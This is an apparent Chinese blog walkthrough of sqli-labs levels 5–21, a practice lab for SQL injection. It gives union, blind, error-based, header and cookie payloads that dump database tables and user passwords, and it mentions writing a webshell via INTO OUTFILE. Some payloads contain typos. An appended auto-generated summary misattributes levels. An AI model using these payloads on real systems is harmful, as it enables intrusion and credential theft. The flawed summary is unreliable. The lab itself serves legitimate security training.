sqli-labs 5-21通关秘籍

目录

Less-5

判断是否有注入点

判断注入类型

查询显示位 

联合注入,查询数据库的名字

Less-6:

Less-7

判断注入类型

Less-8

判断是否存在注入点

获取数据库信息

Less-9

判断注入类型

Less-10

Less-11

爆库

爆表

爆表的内容

Less-12

Less-13

判断数据类型

Less-14

Less-15

判断注入类型

Less-16

判断注入点

Less-17

看数据库版本

爆库名 

爆表内容

Less-18

爆表

Less-19

爆库名

爆表名 

Less-20

查找显示位

爆数据库名

爆数据库中的表

爆表中的内容

Less-21

数据库security中的表

users中的内容

爆表

工具的使用

HackBar(必须火狐浏览器才有)


Less-5

GET-Double Injection-Single Quotes-String(GET-双注入-单引号-字符型)

判断是否有注入点

输入?id=1 会出现You ar in .....,说明存在注入点

判断注入类型

输入?id=1',页面报错,输入其他,页面正常,说明其为字符型

查询显示位 

 输入?id=1 order by 3--+ ,显示You are in...,输入?id=1 order by 4--+,显示Unknown column '4' in 'order clause',说明其显示位有3列 

联合注入,查询数据库的名字

输入?id=1 and length((database()))>5--+

说明数据库长度 > 5,再采用二分法测试:

测试 > 8,发现没有“You are in ...”,说明数据库长度 <= 8

测试 = 8,出现“You are in ...”,说明数据库长度为 8

输入?id=1 and left((select database()),1)='a' --+,无回显,说明数据库第一位不是a,最后我们试出来,数据库为security

之后,数据库的表名,表的内容,也使用这种方法,查出来

Less-6:

GET-Double Injection-Double Quotes-String(GET-双注入-双引号-字符型)

less-6与less-5是一样的,只是注入方式不同,其为双引号注入,其余步骤,同上

Less-7

GET-Dump into outfile-String(GET-转储到输出文件夹-字符型)

通过SQL注入,写入一句话木马,所使用的工具为PHPStudy 和AntSword

PHPStudy自带Mysql,MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看

通过修改 MySQL 下的 my.ini 配置文件来启用权限,需要把下面这个字符串写入文件中

然后保存,并重启 MySQL 服务,检查是否设置成功

判断注入类型

输入?id=1,网页返回“You are in.... Use outfile......”。

输入?id=1'和?id=1'),网页回显SQL报错,注入单引号加上 2 个括号闭合,网页回显“You are in.... Use outfile......”,说明这是一个单引号和 2 个括号闭合的字符型注入

输入?id=9999' UNION SELECT 1,@@basedir,@@datadir --+,找出网页所在路径

使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下入一句话木马。注意此处存在转义问题,所有的“\”都要双写

Less-8

GET-Blind-Boolian-Single Quotes(布尔型单引号 GET 盲注)

判断是否存在注入点

输入?id=1,页面会显示You are in....,说明存在注入点,输入?id=1',页面不会显示任何东西

页面会通过回显表明对不对,这关需要盲注。

输入?id=1'--+,不报错,说明其闭合方式为单引号

获取数据库信息

和 Less-5 不同在于 Less-8 查询发生错误时不会报错,不过基本的操作与 Less-5 相似。

首先判断有几列,使用 ORDER BY 子句进行排序,看一下对几列有效,返回“You are in ...”说明表至少有 3 行

?id=1' ORDER BY 3--+

测试 4 列

?id=1' ORDER BY 4--+

得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度

?id=1' AND LENGTH((SELECT database()))>5--+

?id=1' AND LENGTH((SELECT database()))=8--+

使用 left() 函数判断数据库名的第一位是否是 a,注入之后无回显,则不是,有回显则是。

?id=1' AND LEFT((SELECT database()), 1)='a' --+

之后都是与前几题类似

Less-9

GET-Blind-Time based.-Single Quotes(基于时间的 GET 单引号盲注)

通过 sleep() 函数注入,观察页面响应时间,从而判断注入的 SQL 语句是否正确

判断注入类型

首先输入?id=1,网页返回“You are in ...”,但是没有其他信息

接下来输入?id=9999,网页还是返回“You are in ...”

输入?id=1'进行闭合,网页还是返回“You are in ...”

再尝试了三种方式:网页仍然是“You are in ...”

我们转换了思路,利用MYSQL中的sleep()函数,观察页面的反应时间,从而判断输入是否正确

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

?id=1' AND IF(LENGTH(database())>1,sleep(1),1)--+

比较两个语句的反应时间,从而判断是否正确,其余操作与第五关相似

Less-10

GET-Blind-Time based-double quotes(基于时间的双引号盲注)

第十关与第九关相同,只是注入方式不同,其为双引号注入

Less-11

POST-Error Based-Single quotes-String(基于错误的 POST 型单引号字符型注入)

这关页面出现了变化,发现有username和password两个输入栏

发现在两个数据框中输入1'  or 1=1#都会出现内容,说明两栏都存在注入点

判断表有几列,使用 ORDER BY 子句进行排序看下对有几列有效。对第二列返回的结果排序,网页返回正常,输入order by 3,表示没有三列

爆库

' union select 1,database()#

爆表

' union select 1,group_concat(table_name) from informtion_schema.tables where table_schema='security' --+

爆表的内容

' union select 1,group_concat(column_name) from informtion_schema.columns where table_schema='security' and table_name='users' --+

' union select 1,group_concat(concat_ws(":",username,password)) from security.users --+

Less-12

POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)

less-12与less-11相似,只是注入方式不同,为双引号+但括号注入

爆库

") union select 1,database()#

爆表

' union select 1,group_concat(table_name) from informtion_schema.tables where table_schema='security' --+

爆表的内容

' union select 1,group_concat(column_name) from informtion_schema.columns where table_schema='security' and table_name='users' --+

' union select 1,group_concat(concat_ws(":",username,password)) from security.users --+

Less-13

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

判断数据类型

输入' or 1=1# 报错

输入') or 1=1#,什么也没输出

爆出数据库名:1') and updatexml(1,concat(0x7e,database()),1)#

后面不再演示

Less-14

POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

less-14与less-13类似,只是注入方式不同,为双引号注入,其他与less-13相同

Less-15

POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号 POST 型盲注)

判断注入类型

输入' OR 1 = 1#,使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容。

网页提示登录失败,并且没有返回任何信息

尝试使用括号制造 sql 语句报错信息,但是网页仍然没有回显。说明此处只有通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以

我们使用 bool 盲注

判断表有几列,输入a') OR 1 = 1 ORDER BY 2#,登录成功,无 SQL 报错

输入a' OR 1 = 1 ORDER BY 3#,登录失败,有 SQL 报错,所以,使用单引号加括号闭合,并且有 2 列

获取数据库名的长度

a') OR LENGTH((SELECT database())) = 8#

获取数据库名

a') or left((select database()),8)='security'#

其余的相关信息也这样获得

Less-16

POST-Blind-Boolian/Time Based-Double quotes(基于 bool 型 / 时间延迟的双引号 POST 型盲注)

判断注入点

当我们输入不管是1'还是1的时候页面没有反应,所以我们判断其为盲注,其闭合方式为”)

我们使用 bool 盲注

判断表有几列,输入a") OR 1 = 1 ORDER BY 2#,登录成功,无 SQL 报错

输入a') OR 1 = 1 ORDER BY 3#,登录失败,有 SQL 报错,所以,使用单引号加括号闭合,并且有 2 列

获取数据库名的长度

a") OR LENGTH((SELECT database())) = 8#

获取数据库名

a") or left((select database()),8)='security'#

其余的相关信息也这样获得

Less-17

POST-Update Query-Error Based-String(基于错误的更新查询字符型)(可更改内容)

判断注入点,发现用户名栏没有注入点,输入sql语句,还会显示“BUG OFF YOU SIIY DUMB HACKER”,但是发现密码栏中有注入点

 可在密码栏中输入sql语句,得到相关信息

看数据库版本

' OR updatexml(1,concat("!",version()),2)#

爆库名 

' OR updatexml(1,concat("!",(select group_concat(table_name) from information_schema.tables where table_schema='security')),2)#

爆表内容

' OR updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2)#

' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),2))# 

Less-18

POST-Header Injection-Uagent field-Error based(基于错误的用户代理,头部 POST 注入)

先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包

注意:抓包时,使用Burp内嵌浏览器

说明漏洞在User-Agent中

  右击,放到重放器中,发送,查看页面渲染,发现其漏洞在User-Agent中

爆表

爆表内容 

Less-19

POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)

先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包

注意:抓包时,使用Burp内嵌浏览器

说明其漏洞在referer中

  右击,放到重放器中,发送,查看页面渲染,发现其漏洞在referer中

其输入方式为两个单引号'',注释为or'

爆库名

爆表名 

爆表的内容 

 

Less-20

POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包

注意:抓包时,使用Burp内嵌浏览器

  右击,放到重放器中,发送,查看页面渲染,发现其漏洞在Cookie中

输入',报语法错误,所以为单引号注入

查找显示位

输入' union select 1,2,3,4# 报错,所以显示位有3列 

爆数据库名

爆数据库中的表

爆表中的内容

Less-21

Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

先在username栏和password栏输入正确的账号和密码,用Burp进行拦截,抓包

注意:抓包时,使用Burp内嵌浏览器

 

 右击,放到重放器中,发送,查看页面渲染,发现其漏洞在Cookie中

less-21与less-20不同的是注入方式不同为')注入,其uname是用base64,加密的,其下为数据库名的爆出过程

数据库security中的表

users中的内容

爆表

工具的使用

HackBar(必须火狐浏览器才有)

安装完成后,按ctrl+shift+i弹出窗口,如下:

  • 11
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs是一个SQL注入学习平台,通过完成一系列的关卡来学习和实践SQL注入漏洞的利用方法。根据引用的描述,首先需要在浏览器中打开"http://127.0.0.1/sqli-labs/",访问平台的首页。然后点击"Setup/reset Database"按钮以创建数据库,创建表并填充数据。 完成了上述设置后,可以开始挑战关卡。 sqli-labs通关1关:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关2关:根据引用提供的内容,可以在账户密码后面加入"1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#"来进行注入。这样就能够获取到users表中的用户名和密码的组合。 sqli-labs通关3关:通关3关的方法没有在提供的引用中找到相关信息。 sqli-labs通关4关:根据引用提供的内容,可以在URL中加入"?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))"来进行注入。这样就能够获取到users表中的密码和用户名的组合。 sqli-labs通关5关:通关5关的方法没有在提供的引用中找到相关信息。 请注意,为了安全起见,在进行实际操作时,请确保仅在合法和授权的环境中进行,并遵守法律和道德规范。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [详细sqli-labs(1-65)通关讲解](https://blog.csdn.net/dreamthe/article/details/123795302)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [Sqli-labs通关全解---关于Sqli-lab--1](https://blog.csdn.net/cyynid/article/details/128629421)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值